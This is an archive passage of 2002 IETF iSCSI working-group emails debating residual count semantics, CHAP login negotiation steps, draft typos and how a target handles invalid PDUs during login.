other point of view says that the Residual Count field, and the O and U bits, need only be set when the Status and Response fields indicate that the command was completed at the target with a GOOD Status, and the target does not have to compute or set the Residual Count field and the O or U bits for other values of the Status and/or Response fields. Which is it? In any case, could this be clarified somewhere in the standard, most likely in section 9.4.4. +++ Residual count fields are in fact carrioed over from the SCSI layer. I know that none of the SCSI docs specifies exactly their behavior and it strikes me as a bad idea to have protocols specify them. The values should be valid any time the target decides to put them in. +++ ------------------------------------------------------------------------- Subject: RE: FCP_RSP Residual Checking. Date: Thu, 5 Jul 2001 13:18:42 -0700 From: Robert Snively To: "'Santosh Rao'" , T10 Reflector , Fibre Channel T11 reflector Robert Snively wrote: > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed > > without the data phase having transferred exactly > > FCP_DL bytes, regardless of the SCSI Status being returned ? > > > When the target generates a CHECK CONDITION on an I/O > > and may have returned less than FCP_DL bytes in the data > > phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > The intent is that the answer to your second question is: > FCP_RESID should appropriately regardless of the SCSI Status > being returned. The classic errors of that class are those > involving successful completion with reporting, like > the "NO SENSE" and "RECOVERED ERROR" series of errors. > > > > > What is the behaviour initiators can expect under the above > > condition ? > > The intent is that there be no conflict. I believe that FCP-2 > was a bit less bald than FC-PLDA in stating the requirement. > > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Thursday, July 05, 2001 12:15 PM > > To: T10 Reflector; Fibre Channel T11 reflector > > Subject: FCP_RSP Residual Checking. > > > > > > All, > > > > I've got a question on target behaviour while sending a > > CHECK CONDITION > > SCSI status in its FCP_RSP IU. > > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data > > phase having transferred exactly FCP_DL bytes, regardless of the SCSI > > Status being returned ? > > > > When the target generates a CHECK CONDITION on an I/O and may have > > returned less than FCP_DL bytes in the data phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > > > FC-PLDA Section 8.2.4.1 states that : > > "SCSI targets that transfer less than FCP_DL bytes during > > the FCP_DATA > > IUs shall set the FCP_RESID_UNDER to 1". > > > > No exceptions are specified in the case of a CHECK CONDITION in the > > above definition, implying that FCP_RSP residual checking can be > > performed irrespective of the SCSI Status that was returned in the > > FCP_RSP. > > > > However, the wording descriptions of FCP_RESID_UNDER, > > FCP_RESID_OVER & > > FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as > > FC-PLDA and do not > > mandate that FCP_RESID_UNDER shall be set when the data > > transferred is < > > FCP_DL. > > > > What is the behaviour initiators can expect under the above > > condition ? > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Thanks, > > Santosh Rao > > -- Education is when you read the fine print. Experience is what you get if you don't. --=_alternative 001C4376C2256C0A_= Content-Type: text/html; charset="us-ascii"
David,

We are in violent agreement. SPC3 is explicit about counts only when talking about extended copy.
The only thing I find objectionable is to tell the initiator when to CHECK (that is a device class/device/driver issue).
Some devices for some commands will generate CHECK CONDITION BECAUSE they have a residual count.

That is why I would suggest the following text:

The Residual Count field MUST be valid in the case where either the U bit or the O bit is set. If neither bit is set, the Residual Count field is reserved. Targets may set residual count and initiators may use it when the response code is completed at target. If the O bit is set, the Residual Count indicates the number of bytes that were not transferred because the initiator's Expected Data Transfer Length was not sufficient. If the U bit is set, the Residual Count indicates the number of bytes that were not transferred out of the number of bytes expected to be transferred.

Julo


Black_David@emc.com

08/03/2002 01:50 AM

       
        To:        Julian Satran/Haifa/IBM@IBMIL
        cc:        ips@ece.cmu.edu
        Subject:        RE: iSCSI: plugfest4 issues

       


Julian,
 
Matching FCP's wording resulted in a "go ask the expert" algorithm
for figuring out what is required - we ought to do better, and this
is an iSCSI protocol issue.  What I'm looking for in 9.4 is:
 
- Bits 3-6 (o, u, O, U) MAY be set by the Target and SHOULD be checked
    by the Initiator when the Response is "Command Completed at Target"
    no matter what the value of the Status field is.
- SCSI permits Residual Counts to be returned for Status values other
    than GOOD; see [SPC2].
 
I believe that both of these are implied by the current text, but since
this caused confusion at the plugfest, we ought to spell it out.
 
Thanks,
--David

---------------------------------------------------
David L. Black, Senior Technologist
EMC Corporation, 42 South St., Hopkinton, MA  01748
+1 (508) 249-6449            FAX: +1 (508) 497-8018
black_david@emc.com       Mobile: +1 (978) 394-7754
---------------------------------------------------

-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Friday, August 02, 2002 1:43 AM
To: Black_David@emc.com
Cc: ips@ece.cmu.edu
Subject: RE: iSCSI: plugfest4 issues

David,

We DO EXACTLY what FCP did  - say nothing.
I went through the document - thetre is no relation mentioned and that is what we do too.

In any case we cannot enforce a SCSI behavior.
The expectation is obvious that if SCSI hands obver counts those will be carried by iSCSI.

I also suspect that the trouble may be deeper than we think and I find it much more prudent
to say nothing (again as FCP did).

Julo


Black_David@emc.com

08/01/2002 05:56 PM

       
       To:        Julian Satran/Haifa/IBM@IBMIL
       cc:        ips@ece.cmu.edu
       Subject:        RE: iSCSI: plugfest4 issues

     



Julian,
 
I think we need to do something here, as there are clearly
situations in which the residual count is important for commands that
complete with other than good status, making the "other point of
view" reported by Robert Russell incorrect.  Waiting for SPC-3 to
do something to clarify this isn't going to do much for iSCSI
interoperability in the short term.  Since Bob Snively was the
Technical Editor of FCP-2, he tends to be correct about what FCP-2
requires or intends - I suggest we follow FCP-2, and say that the
O/o/U/u bits are valid in all cases (of course, if none of them
are set, the Residual Count field is not valid).
 
Thanks,
--David

---------------------------------------------------
David L. Black, Senior Technologist
EMC Corporation, 42 South St., Hopkinton, MA  01748
+1 (508) 249-6449            FAX: +1 (508) 497-8018
black_david@emc.com       Mobile: +1 (978) 394-7754
---------------------------------------------------

-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Thursday, August 01, 2002 3:26 AM
To: Santosh Rao
Cc: IPS Reflector; rdr@io.iol.unh.edu; Robert Snively; santoshr@hpcuhe.cup.hp.com; T10 Reflector
Subject: Re: iSCSI: plugfest4 issues


Santosh,

I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond
iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status.
SPC says nothing about that either  (beyond that the bits set are not necessarily an indication of error).

Julo
Santosh Rao <santoshr@cup.hp.com>
Sent by: santoshr@hpcuhe.cup.hp.com

08/01/2002 03:44 AM

       
      To:        IPS Reflector <ips@ece.cmu.edu>, Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu
      cc:        Robert Snively <rsnively@brocade.com>, T10 Reflector <t10@t10.org>
      Subject:        Re: iSCSI: plugfest4 issues

     




Julian & Robert [Russell],

I raised the same query regarding RESID for FCP/FCP-2 this time last
year. The response I got for FCP/FCP-2 was that RESID information shall
be valid, regardless of the scsi status returned. The RESID field, can
be checked by the scsi transport drivers independent of the SCSI STATUS.

I have enclosed the T10 response from Rob Snivelly below on that issue.
As per FC-PLDA, the RESID information is valid, regardless of the scsi
status returned by the device.

An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check
condition, when the data transfer may have taken place and a CHECK
CONDITION is returned. Also, for other CHECK CONDITION status', partial
data transfer may have taken place and hence, resid information should
be present.

It would be good to maintain consistent behaviour across the scsi
transports in this regard, since protocol bridging from iscsi to FCP
domain would expect RESID information in the FCP domain, regardless of
scsi status.

This also allows scsi transports to remain free of SCSI command set
details. (ex : the scsi transport drivers do not need to parse for CHECK
CONDITION or GOO status information.)

Thanks,
Santosh


-------------------------------------------------------------------------

Subject: Re: iSCSI: plugfest4 issues
Date:    Thu, 1 Aug 2002 02:52:19 +0300
From:   "Julian Satran" <Julian_Satran@il.ibm.com>
To:     "Robert D. Russell" <rdr@io.iol.unh.edu>
CC:     ips@ece.cmu.edu

Bob,

Thanks - some comments in text. Julo


"Robert D. Russell" <rdr@io.iol.unh.edu>
                                         
Julian:

Four issues came up today at the iSCSI plugfest:

1. A question about whether or not the Residual Count field and the
appropriate O and U bits need to be computed on all SCSI Response
PDUs, regardless of the values in the Status and/or Response fields.

One point of view says that the Residual Count field and the O and U
bits appear to be strictly iSCSI values that are derived by the
iSCSI target layer from the ExpectedDataTransferLength field of the
SCSI Command PDU and the DataSegmentLength fields of the DataIn or
DataOut PDUs sent as part of this command.  Therefore ,the iSCSI
target always computes a Residual Count value without regard to the
Status and/or Response fields, since these are SCSI values.

The other point of view says that the Residual Count field, and the
O and U bits, need only be set when the Status and Response fields
indicate that the command was completed at the target with a GOOD
Status, and the target does not have to compute or set the Residual
Count field and the O or U bits for other values of the Status and/or
Response fields.

Which is it?  In any case, could this be clarified somewhere in the
standard, most likely in section 9.4.4.

+++ Residual count fields are in fact carrioed over from the SCSI layer.
I know that none of the SCSI docs specifies
exactly their behavior and it strikes me as a bad idea to have protocols
specify them.
The values should be valid any time the target decides to put them in.
+++


-------------------------------------------------------------------------
Subject: RE: FCP_RSP Residual Checking.
Date:    Thu, 5 Jul 2001 13:18:42 -0700
From:    Robert Snively <rsnively@brocade.com>
To:      "'Santosh Rao'" <santoshr@cup.hp.com>,
      T10 Reflector <t10@t10.org>,
      Fibre Channel T11 reflector <fc@network.com>

Robert Snively wrote:
>
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed
> >  without the data phase having transferred exactly
> >  FCP_DL bytes, regardless of the SCSI Status being returned ?
>
> >  When the target generates a CHECK CONDITION on an I/O
> >  and may have returned less than FCP_DL bytes in the data
> >  phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
>
> The intent is that the answer to your second question is:
> FCP_RESID should appropriately regardless of the SCSI Status
> being returned.  The classic errors of that class are those
> involving successful completion with reporting, like
> the "NO SENSE" and "RECOVERED ERROR" series of errors.
>
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
>
> The intent is that there be no conflict.  I believe that FCP-2
> was a bit less bald than FC-PLDA in stating the requirement.
>
> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
>
> Bob Snively                        e-mail:    rsnively@brocade.com
> Brocade Communications Systems     phone:  408 487 8135
> 1745 Technology Drive
> San Jose, CA 95110
>
> >  -----Original Message-----
> >  From: Santosh Rao [mailto:santoshr@cup.hp.com]
> >  Sent: Thursday, July 05, 2001 12:15 PM
> >  To: T10 Reflector; Fibre Channel T11 reflector
> >  Subject: FCP_RSP Residual Checking.
> >
> >
> >  All,
> >
> >  I've got a question on target behaviour while sending a
> >  CHECK CONDITION
> >  SCSI status in its FCP_RSP IU.
> >
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data
> >  phase having transferred exactly FCP_DL bytes, regardless of the SCSI
> >  Status being returned ?
> >
> >  When the target generates a CHECK CONDITION on an I/O and may have
> >  returned less than FCP_DL bytes in the data phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
> >
> >  FC-PLDA Section 8.2.4.1 states that :
> >  "SCSI targets that transfer less than FCP_DL bytes during
> >  the FCP_DATA
> >  IUs shall set the FCP_RESID_UNDER to 1".
> >
> >  No exceptions are specified in the case of a CHECK CONDITION in the
> >  above definition, implying that FCP_RSP residual checking can be
> >  performed irrespective of the SCSI Status that was returned in the
> >  FCP_RSP.
> >
> >  However, the wording descriptions of FCP_RESID_UNDER,
> >  FCP_RESID_OVER &
> >  FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as
> >  FC-PLDA and do not
> >  mandate that FCP_RESID_UNDER shall be set when the data
> >  transferred is <
> >  FCP_DL.
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
> >  Thanks,
> >  Santosh Rao
> >

--
Education is when you read the fine print.
Experience is what you get if you don't.

--=_alternative 001C4376C2256C0A_=-- From owner-ips@ece.cmu.edu Sat Aug 3 12:02:45 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06450 for ; Sat, 3 Aug 2002 12:02:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g73FFMd24300 for ips-outgoing; Sat, 3 Aug 2002 11:15:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from iol.unh.edu (io.iol.unh.edu [132.177.123.82]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g73EhTo23282 for ; Sat, 3 Aug 2002 10:43:29 -0400 (EDT) Received: from io.iol.unh.edu (localhost.localdomain [127.0.0.1]) by iol.unh.edu (8.12.3/8.12.3) with ESMTP id g73EhN6U014235 for ; Sat, 3 Aug 2002 10:43:23 -0400 Received: from localhost (rdr@localhost) by io.iol.unh.edu (8.12.3/8.12.3/Submit) with ESMTP id g73EhNPr014232 for ; Sat, 3 Aug 2002 10:43:23 -0400 Date: Sat, 3 Aug 2002 10:43:23 -0400 (EDT) From: "Robert D. Russell" To: ips@ece.cmu.edu Subject: iSCSI: CHAP Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian: Section 10.5 is written in terms of initiator and target, rather than originator and responder as in section 7.2.1. I believe this is intentional (i.e., that section 10.5 is NOT supposed to be written in terms of originator and responder). Because the use of CHAP in Appendix C is illustrated only with the initiator offering the AuthMethod key, I would like to verify that the following is a correct security negotiation sequence when it is the target, not the initiator, that first offers the AuthMethod key (this scenario ignores the other keys that may be required, such as InitiatorName, TargetName, etc., and assumes they are sent as required): 1. I-> Login (CSG,NSG=0,1 T=1) no AuthMethod key 2. T-> Login-PR (CSG,NSG=0,0 T=0) AuthMethod=CHAP,SRP 3a. I-> Login (CSG,NSG=0,0 T=0) AuthMethod=CHAP 4a. T-> Login-PR (CSG,NSG=0,0 T=0) CHAP_A=4,5,7 5a. I-> Login (CSG,NSG=0,0 T=0) CHAP_A=5 6a. T-> Login-PR (CSG,NSG=0,0 T=0) CHAP_I= CHAP_C= 7a. I-> Login (CSG,NSG=0,1 T=1) CHAP_N= CHAP_R= 8a. T-> Login-FR (CSG,NSG=0,1 T=1) no keys and security negotiation phase is now completed successfully In particular, the first challenge, in step 6 above, always has to be from the Target to the Initiator. Is this correct? Is it possible or preferable or required to collapse steps 3 through 6 above into just 2 steps? 3b. I-> Login (CSG,NSG=0,0 T=0) AuthMethod=CHAP CHAP_A=4,5,7 4b. T-> Login-PR (CSG,NSG=0,0 T=0) CHAP_A=5 CHAP_I= CHAP_C= and then the next step would be 7. This would have the effect of having the target offer the security method (CHAP,SRP) but the initiator offering the algorithm (4,5,7). Is this allowed? As written above, Step 7a does not perform target authentication. To do so, this step would be rewritten as: 7b. I-> Login (CSG,NSG=0,0 T=0) CHAP_N= CHAP_R= CHAP_I= CHAP_C= in which case the continuation would then be: 8b. T-> Login-FR (CSG,NSG=0,1 T=1) CHAP_N= CHAP_R= One final question -- although the target can force authentication as shown above, and thereby gets to challenge the initiator, there appears to be no way the target can force the initiator to challenge it. In other words, if the initiator sends 7a above (no target challenge), and the target wanted to see 7b, there is nothing the target can do except send back a Login-Reject. Correct? If this is correct, what Status code should be in the Login-Reject? It cannot be 0201 Authentication Failure, because the initiator may have been successfully authenticated. Is the correct response Status 0202 Authorization Failure or Status 0200 Miscellaneous iSCSI initiator error or does it matter? Thank you. Bob Russell InterOperability Lab University of New Hampshire rdr@iol.unh.edu 603-862-3774 From owner-ips@ece.cmu.edu Sat Aug 3 21:25:12 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA13789 for ; Sat, 3 Aug 2002 21:24:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g740ftK11585 for ips-outgoing; Sat, 3 Aug 2002 20:41:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g740fro11581 for ; Sat, 3 Aug 2002 20:41:54 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g740flq6031620; Sun, 4 Aug 2002 02:41:47 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g740fk75058086; Sun, 4 Aug 2002 02:41:46 +0200 To: "Robert D. Russell" Cc: ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: Invalid Pdus received during Login phase X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Sun, 4 Aug 2002 03:41:43 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 04/08/2002 03:41:46, Serialize complete at 04/08/2002 03:41:46 Content-Type: multipart/alternative; boundary="=_alternative 0002FE46C2256C0B_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 0002FE46C2256C0B_= Content-Type: text/plain; charset="us-ascii" OK thanks - Julo "Robert D. Russell" 08/04/2002 12:42 AM To: Julian Satran cc: ips@ece.cmu.edu Subject: RE: Invalid Pdus received during Login phase Julian: Some trivial typos in working draft 15 (3 August version). 1. Section 2.2.2.1, near the bottom of page 38: However CmdSN is as a marker ... should be: However their CmdSN is a marker ... 2. Section 2.2.6.3.2, near the bottom of page 42: encoded hexidecimal digits). should be: encoded hexadecimal digits). 3. Appendix C, the last example on page 252 has: AuthMethod:KRB5,SRP,None that colon should be an equal sign: AuthMethod=KRB5,SRP,None Another minor point -- the paragraph in section 9.7.3 on page 156 that contains the new wording says: "On incoming data, the Target Transfer Tag MUST be provided by the target if the A bit is set to 1. The Target Transfer Tag and LUN are copied by the initiator in the SNACK of type DataACK that it issues as a result of receiving a SCSI Data-in PDU with the A bit set to 1 and MUST be set to the reserved value of 0xffffffff otherwise." Of course only the TTT is set to 0xffffffff as a reserved value -- the LUN is set to 0 when it is reserved. Since the next paragraph seems to cover the necessary details about the 0xffffffff, perhaps we could simplify this paragraph to say: "On incoming data, the Target Transfer Tag and LUN MUST be provided by the target if the A bit is set to 1; otherwise they are reserved. The Target Transfer Tag and LUN are copied by the initiator into the SNACK of type DataACK that it issues as a result of receiving a SCSI Data-in PDU with the A bit set to 1." A final, less minor point -- I believe the addition of the new last paragraph to section 2.2.3 clearly addresses the issue of what the target should do when the first PDU it receives on a new TCP connection is not a Login request, but still leaves open what it should do later during the login phase if it receives a PDU other than a Login Request. The problem is the wording in the second sentence of the paragraph preceeding the new one: "Any other PDU, when received at initiator or target, is a protocol error and MUST result in the connection being terminated." This has two sources of misunderstanding -- 1. It makes it sound as if an initiator can receive a Login Request from the target, and the target can receive a Login Response from the initiator, both of which are disallowed; 2. It makes it sound as if the target can immediately disconnect without first sending back a Login-Reject. Although the first misunderstanding can easily be resolved by refering to other sections of the draft, the second misunderstanding occurred at the plugfest. Of course, my interpretation of its resolution may be incorrect, but I believe the target always needs to send back a Login-Reject before disconnecting, except when the very first PDU on a new TCP connection is not a Login (which is why the new paragraph was added to the end of section 2.2.3). If my interpretation is correct, could we eliminate the sentence just quoted ("Any other PDU, ... being terminated.") and instead add the following sentence to the end of the final (new) paragraph of this section: "Once the Login phase has started, if the target receives any PDU except a Login request, it MUST send a Login reject (with Status 0x020b) and then disconnect; if the initiator receives any PDU except a Login response, it MUST immediately drop the connection." If my interpretation is not correct, we need to eliminate the Status code 0x020b from the table in section 9.13.5, since there appears to be no other use for it. In this case there would also appear to be no reason to single out the first PDU on a new connection as being in any way different from subsequent PDUs during Login phase. Thank you for your consideration. Bob Russell InterOperability Lab University of New Hampshire rdr@iol.unh.edu 603-862-3774 --=_alternative 0002FE46C2256C0B_= Content-Type: text/html; charset="us-ascii"
OK thanks - Julo


"Robert D. Russell" <rdr@io.iol.unh.edu>

08/04/2002 12:42 AM

       
        To:        Julian Satran <Julian_Satran@il.ibm.com>
        cc:        ips@ece.cmu.edu
        Subject:        RE: Invalid Pdus received during Login phase

       



Julian:

Some trivial typos in working draft 15 (3 August version).

1. Section 2.2.2.1, near the bottom of page 38:
       However CmdSN is as a marker ...
  should be:
       However their CmdSN is a marker ...

2. Section 2.2.6.3.2, near the bottom of page 42:
       encoded hexidecimal digits).
  should be:
       encoded hexadecimal digits).

3. Appendix C, the last example on page 252 has:
       AuthMethod:KRB5,SRP,None
  that colon should be an equal sign:
       AuthMethod=KRB5,SRP,None


Another minor point -- the paragraph in section 9.7.3 on page 156
  that contains the new wording says:

       "On incoming data, the Target Transfer Tag MUST be provided by
       the target if the A bit is set to 1.  The Target Transfer Tag
       and LUN are copied by the initiator in the SNACK of type DataACK
       that it issues as a result of receiving a SCSI Data-in PDU with
       the A bit set to 1 and MUST be set to the reserved value of
       0xffffffff otherwise."

  Of course only the TTT is set to 0xffffffff as a reserved value --
  the LUN is set to 0 when it is reserved.  Since the next paragraph
  seems to cover the necessary details about the 0xffffffff, perhaps
  we could simplify this paragraph to say:

       "On incoming data, the Target Transfer Tag and LUN MUST be
       provided by the target if the A bit is set to 1; otherwise
       they are reserved.  The Target Transfer Tag and LUN are copied
       by the initiator into the SNACK of type DataACK that it issues
       as a result of receiving a SCSI Data-in PDU with the A bit set
       to 1."


A final, less minor point -- I believe the addition of the new last
  paragraph to section 2.2.3 clearly addresses the issue of what
  the target should do when the first PDU it receives on a new TCP
  connection is not a Login request, but still leaves open what it
  should do later during the login phase if it receives a PDU other
  than a Login Request.

  The problem is the wording in the second sentence of the paragraph
  preceeding the new one:

       "Any other PDU, when received at initiator or target, is a
       protocol error and MUST result in the connection being
       terminated."

  This has two sources of misunderstanding --

  1.  It makes it sound as if an initiator can receive a Login Request
      from the target, and the target can receive a Login Response
      from the initiator, both of which are disallowed;
  2.  It makes it sound as if the target can immediately disconnect
      without first sending back a Login-Reject.

  Although the first misunderstanding can easily be resolved by
  refering to other sections of the draft, the second misunderstanding
  occurred at the plugfest.  Of course, my interpretation of its
  resolution may be incorrect, but I believe the target always needs
  to send back a Login-Reject before disconnecting, except when the
  very first PDU on a new TCP connection is not a Login (which is why
  the new paragraph was added to the end of section 2.2.3).

  If my interpretation is correct, could we eliminate the sentence
   just quoted ("Any other PDU, ... being terminated.") and instead
  add the following sentence to the end of the final (new) paragraph
  of this section:

       "Once the Login phase has started, if the target receives any
       PDU except a Login request, it MUST send a Login reject
       (with Status 0x020b) and then disconnect;  if the initiator
       receives any PDU except a Login response, it MUST immediately
       drop the connection."

  If my interpretation is not correct, we need to eliminate the
  Status code 0x020b from the table in section 9.13.5, since
  there appears to be no other use for it.  In this case there
  would also appear to be no reason to single out the first PDU
  on a new connection as being in any way different from subsequent
  PDUs during Login phase.


Thank you for your consideration.

Bob Russell
InterOperability Lab
University of New Hampshire
rdr@iol.unh.edu
603-862-3774

--=_alternative 0002FE46C2256C0B_=-- From owner-ips@ece.cmu.edu Sun Aug 4 05:29:00 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA00561 for ; Sun, 4 Aug 2002 05:29:00 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g748cW624384 for ips-outgoing; Sun, 4 Aug 2002 04:38:32 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g748cUo24379 for ; Sun, 4 Aug 2002 04:38:30 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g748cLq6029436; Sun, 4 Aug 2002 10:38:21 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g748cH2d069298; Sun, 4 Aug 2002 10:38:17 +0200 To: "Robert D. Russell" Cc: "Ofer Biran" , ips@ece.cmu.edu Importance: High MIME-Version: 1.0 Subject: Re: iSCSI: CHAP X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Sun, 4 Aug 2002 11:38:15 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 04/08/2002 11:38:17, Serialize complete at 04/08/2002 11:38:17 Content-Type: multipart/alternative; boundary="=_alternative 002F0630C2256C0B_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 002F0630C2256C0B_= Content-Type: text/plain; charset="us-ascii" Bob, We have gone through the text again and found that it is not explicit enough about how a target can initiate a security selection. As a consequence we propose the following minor clarifications to 10.1: The AuthMethod selection is followed by an "authentication exchange" specific to the authentication method selected. The authentication method proposal may be made by either the initia-tor or the target. However the initiator MUST make the first step specific to the selected authentication method as soon as it is selected. It follows that if the target makes the authentication method proposal the initiator sends the first keys(s) of the exchange together with its authentication method selection. The authentication exchange authenticates the initiator to the tar-get, and optionally, the target to the initiator. Authentication is not mandatory to use but MUST be supported by the target and initia-tor. The initiator and target MUST implement CHAP. All other authentica-tion methods are OPTIONAL to implement. Proprietary algorithms MAY also be negotiated for authentication methods. Whenever a proprietary algorithm is offered, "None" or "CHAP" MUST be listed as an option in order to guarantee interopera-bility. Proprietary authentication methods MUST be named using of the follow-ing two formats: Z-reversed.vendor.dns_name.do_something= Z<#>= Authentication methods named using the Z- format a are used for ven-dor-specific purposes (unregistered). Authentication methods named using the Z# format must be registered with IANA and MUST be described by an informational RFC. For all the vendor-specific registered or unregistered authentica-tion methods, the methods specific keys MUST conform to the format specified in Section 4.1 Text Format for standard-label. For unregistered authentication methods, to identify the vendor, we suggest you use the reversed DNS-name as a prefix to the proper digest names. The part of digest-name following Z- and Z# MUST conform to the for-mat for standard-label specified in Section 4.1 Text Format. Support for vendor-specific authentication methods, whether regis-tered or not is OPTIONAL. The following subsections define the specific exchanges for each of the standardized authentication methods. As mentioned earlier the first step is always done by the initiator. Please not also that 7 contains already the following: Section 10 iSCSI Security Keys and Authentication Methods defines several authentication methods and the exact steps that must be fol-lowed in each of them, including the keys and their allowed values in each step. Whenever an iSCSI initiator gets a response whose keys, or their values, are not according to the step definition, it MUST abort the connection. Whenever an iSCSI target gets a response whose keys, or their values, are not according to the step definition, it MUST answer with a Login reject with the "Initiator Error" or "Missing Parameter" status (these statuses are not intended for cryptographi-cally incorrect value, e.g., the CHAP response, for which "Authenti-cation Failure" status MUST be specified). The importance of this rule can be illustrated in CHAP with target authentication ( Section 10.1.4 Challenge Handshake Authentication Protocol (CHAP)) where the initiator would have been able to conduct a reflection attack by omitting his response key (CHAP_R), using the same CHAP challenge as the target and reflecting the target's response back to the target. In CHAP this is prevented since the target must answer the missing CHAP_R key with a Login reject with the "Missing Parameter" status. Togther they should make clear that your hypothetical example is not correct in step 3a - where the initiator MUST have made the first CHAP specific step with CHAP_A=4,5,7 together with the AuthMethod=CHAP. Thanks, Julo "Robert D. Russell" Sent by: owner-ips@ece.cmu.edu 08/03/2002 05:43 PM To: ips@ece.cmu.edu cc: Subject: iSCSI: CHAP Julian: Section 10.5 is written in terms of initiator and target, rather than originator and responder as in section 7.2.1. I believe this is intentional (i.e., that section 10.5 is NOT supposed to be written in terms of originator and responder). Because the use of CHAP in Appendix C is illustrated only with the initiator offering the AuthMethod key, I would like to verify that the following is a correct security negotiation sequence when it is the target, not the initiator, that first offers the AuthMethod key (this scenario ignores the other keys that may be required, such as InitiatorName, TargetName, etc., and assumes they are sent as required): 1. I-> Login (CSG,NSG=0,1 T=1) no AuthMethod key 2. T-> Login-PR (CSG,NSG=0,0 T=0) AuthMethod=CHAP,SRP 3a. I-> Login (CSG,NSG=0,0 T=0) AuthMethod=CHAP 4a. T-> Login-PR (CSG,NSG=0,0 T=0) CHAP_A=4,5,7 5a. I-> Login (CSG,NSG=0,0 T=0) CHAP_A=5 6a. T-> Login-PR (CSG,NSG=0,0 T=0) CHAP_I= CHAP_C= 7a. I-> Login (CSG,NSG=0,1 T=1) CHAP_N= CHAP_R= 8a. T-> Login-FR (CSG,NSG=0,1 T=1) no keys and security negotiation phase is now completed successfully In particular, the first challenge, in step 6 above, always has to be from the Target to the Initiator. Is this correct? Is it possible or preferable or required to collapse steps 3 through 6 above into just 2 steps? 3b. I-> Login (CSG,NSG=0,0 T=0) AuthMethod=CHAP CHAP_A=4,5,7 4b. T-> Login-PR (CSG,NSG=0,0 T=0) CHAP_A=5 CHAP_I= CHAP_C= and then the next step would be 7. This would have 